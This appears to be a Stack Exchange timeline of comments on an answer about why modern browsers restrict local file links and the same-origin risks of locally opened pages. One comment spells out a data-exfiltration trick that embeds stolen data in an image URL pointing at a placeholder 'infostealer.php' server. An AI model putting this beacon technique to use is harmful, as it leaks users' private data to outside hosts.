Timeline for Why local links are disabled by default in modern browsers?
Current License: CC BY-SA 3.0
6 events
| when toggle format | what | by | license | comment | |
|---|---|---|---|---|---|
| Mar 10, 2021 at 9:32 | comment | added | Wolfram | @A.Hersean there is now a statement from Firefox: mozilla.org/en-US/security/advisories/mfsa2019-21/… | |
| Mar 15, 2017 at 0:22 | comment | added | MikeSchem | @Wolfram try just putting the information you want to exfiltrate in the src tag of an image. Like <img src="www.youexfilserver.com/infostealer.php?sensitivedatahere" > . When the local page tries to load it, the image the sensitive data will be sent to the php, just log the get variables from the infostealer.php and you should see the data. | |
| Mar 15, 2017 at 0:07 | comment | added | Marcus Müller | Real precedent: do you need more arguments than that if you have XSS attack that works between domains, it might also work between a webserver and local data? | |
| Mar 14, 2017 at 14:48 | comment | added | Wolfram | What can an exploit look like that the script can use it only if the script is executed in a local file? Honestly, I'm not sure about this, was there any real precedents? The concept that a downloaded script can break same-origin policy, because it is already on the drive, looks more plausible, and I really can get the content of another file of the same folder via console. (and not get this "Permission denied" message). However, for some reason I couldn't do the same via the script built into the first file (x.document.body.innerText === '' in this case). Maybe I'll experiment a bit more. | |
| Mar 14, 2017 at 12:43 | comment | added | A. Hersean | This is interesting, but it sounds like speculation. Care to share a link to a statement from the Chrome developers? AKA [citation needed]. | |
| Mar 14, 2017 at 0:10 | history | answered | MikeSchem | CC BY-SA 3.0 |
